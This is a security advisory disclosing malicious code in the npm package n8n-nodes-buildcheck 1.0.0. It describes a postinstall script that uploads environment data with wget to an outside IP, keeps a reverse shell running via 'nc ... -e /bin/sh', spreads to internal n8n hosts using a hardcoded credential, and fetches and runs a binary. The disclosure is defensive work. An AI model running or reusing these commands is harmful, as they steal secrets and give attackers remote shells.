n8n-nodes-buildcheck

GHSA-39q8-5c9h-rj8c

Malicious code in n8n-nodes-buildcheck (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc)
On npm install, postinstall.js collects the full environment, `id`, `hostname`, and `/proc/1/cgroup`/`status` into `/tmp/.be` and uploads it via `wget --post-file` to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs `nc 121.127.33.228 443 -e /bin/sh` with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes `/rest/nodes/community/install` with `verify:false` to install a sibling package `n8n-nodes-sysdiag2`, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into `/tmp/.mn2`, chmods it executable, and launches it detached.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9947fca3b118619628d7c35349b0b5d2b1852e1c/osv/malicious/npm/n8n-nodes-buildcheck/MAL-2026-16177.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/9947fca3b118619628d7c35349b0b5d2b1852e1c/osv/malicious/npm/n8n-nodes-buildcheck/MAL-2026-16177.json
- https://www.npmjs.com/package/n8n-nodes-buildcheck/v/1.0.0
- https://github.com/advisories/GHSA-39q8-5c9h-rj8c

Compromised versions (1)

= 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.